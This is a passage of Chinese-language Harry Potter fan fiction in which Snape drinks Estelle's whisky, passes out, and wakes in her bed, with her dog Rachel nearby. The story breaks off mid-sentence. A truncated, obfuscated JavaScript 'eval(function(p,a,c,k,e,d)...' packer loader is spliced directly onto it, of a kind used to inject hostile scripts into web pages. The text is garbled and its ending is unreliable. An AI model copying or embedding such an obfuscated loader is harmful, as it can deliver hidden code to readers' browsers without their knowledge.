“我从小就喜欢亮闪闪的球形小玩意儿。”艾丝特尔轻抚着瑞秋，突然说道，“有颗金色的铃铛，陪伴了我许多年，我很喜欢抓着它玩……妈妈说我长大后一定会是个出色的找球手。”
瑞秋不停发出舒服的呜呜声，她还是不够聪明，没能从主人轻松的语气中分辨出惆怅和哀伤。跳动的心脏不断地撞击着口袋里的金色飞贼，恍惚间，斯内普仿佛回到了十七年前，回到了一切错误开始之前——不过这次换他摇动那颗铃铛。
“……你做到了。”沉默片刻后，他低声说，“你是我见过的最优秀的找球手。”
艾丝特尔闻言只是微微一笑，继续道，“我把那颗铃铛送给了安妮，爸爸给它施了静音咒，他说猫不能一直近距离地听铃铛响声……后来那颗铃铛跟她一起被埋葬了。”
不难猜测，“安妮”应该就是那只误食了百合花的猫，是她有关毒理和死亡的第一堂生动却残忍的教育课。斯内普想要说些什么，可久未饮用液体的喉咙干涩得发不出一点声音，这时，艾丝特尔结束了对瑞秋的抚摸，拍去手上的浮毛，重新站了起来。
“我是不是说太多了？抱歉，深夜总是会让人释放消极情绪。”她单手撑着桌面，眉宇之间难掩疲惫，“您也该回去了……晚安，教授。”
“……”
一道再直白不过的逐客令，正合斯内普心意。就连拦路的瑞秋都退去了旁边，只要他想，随时可以离开。
可他却没有动——与那条蠢狗一样，无视了驱逐的指令，仍然选择留下。虽说他做不出撒娇讨好的蠢事，至少在她需要的时候，他希望能有人陪着她。
“……无事。”就这样僵持了几秒，斯内普终于开了口，缓慢、笨拙又极尽温柔地说出了竭力斟酌的语句，“你想说的……都可以说给我听。”
“……”
艾丝特尔神色似有触动，但却只是摇了摇头，避开他凝望自己的视线。指间碰到桌面上的一丝凉意，她垂眸看去，是那个装满了威士忌的酒杯。此刻，在她眼中，似乎没有什么比高浓度酒精更能冲刷她胸口的烦闷了。
然而，她刚要拿起，却被另一只手抢了先。
“……既然您不喝，就把它给我。”艾丝特尔不带感情地笑了一声，伸手就要向斯内普索要。
斯内普一直都不喜欢艾丝特尔这种牵线人偶般虚伪刻板的假笑。她原本可以笑得更真诚，更发自内心，更像个孩子……就像刚入学的两年，被药物和酒精控制精神之前那样。他承认这是自己的失职，这些年，他其实没有照顾好她。
手中的烈酒因此变得更加可憎，艾丝特尔看上去也没有退让的打算。让它消失明明有千百种方式，随便一条咒语或者直接倒在地上——虽然那样会弄湿她带有星象图的古典地毯。最终，也许是想要顺便缓解喉咙的干涩，斯内普竟然违逆自己的理智，选择了对他来说最为糟糕的那一个方式。
这不是他第一次摄入酒精，但却是第一次喝得如此多且急。一整杯酒匆匆灌下，空酒杯被他平放到桌上，却慢慢滚向旁边，还撞倒了那个装了精油的小瓶子。几乎只在瞬间，房间里便全都是那种令他头痛的香味了。
“……哈……”
能把她逗笑，倒也值得——这是斯内普醉倒之前的最后一条想法。
被潮湿温热的舔舐感唤醒时，斯内普的身体里仍残留着醉酒的不适。灯全都关着，拉严的窗帘投不进一丝光亮，外袍不知何时已被脱下，他坐起身，摸索着找到了自己的魔杖。
瑞秋被荧光咒吓得几乎垂直跳起，水淋淋舌头也跟着摇晃，看上去恶心又滑稽。斯内普嫌弃地抹了把脸，低头搜寻能用什么把她的口水擦净——或许是因为尚未代谢的酒精令他异常迟钝，直到这时，他才意识到自己正处在一张柔软的床铺之上。更糟的是，他记得床单上的花纹。
他猛地转身看向另一侧，万幸的是，这张床铺上目前只有他自己。身上的衣物基本整齐，袖扣也是牢牢扣着的，考虑到可能会因醉酒而呼吸困难，只有领口处的纽扣被解开了两粒。
那位体贴的房主此刻并不在卧室内，身侧的被褥似乎也没有额外的残留的温度，只有一股浸润了整晚的淡淡花香，清幽、柔软、无处不在。斯内普有些晃神，呆坐了几秒，终于长舒了一口气。
……身处这种环境中，难怪又会做那个梦。
理清思绪后，他飞快下床，穿上了自己的外衣。瑞秋激动地吠叫了两声，比他先一步冲下了楼，估计是想找她的主人报告消息，聪明的孩子——这样一来，斯内普便没办法悄悄离开了。
因此，他只能像一位正常的客人那样走出房间，出门前还不忘用咒语对床铺做了基本的整理。虽说以艾丝特尔平日里所表现出的洁癖程度，这套床品之后应该会被她完全替换掉……
斯内普魔杖一抖，被角立刻多了条意义不明的压痕。
走下楼梯时，他隐约听到了楼下厨房方位传来的哼唱声，总是被其他噪音盖过，断断续续，歌词也有些模糊不清。去往前门的道路畅通无阻，昨夜的选择题再次出现，仿佛在给予更正错误的机会，然而，斯内普只是放轻了脚步，像被诱惑的水手般缓慢地走向歌声的源头。
绕过厨房门口趴坐着的瑞秋之后，他看到了一幅从未见
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}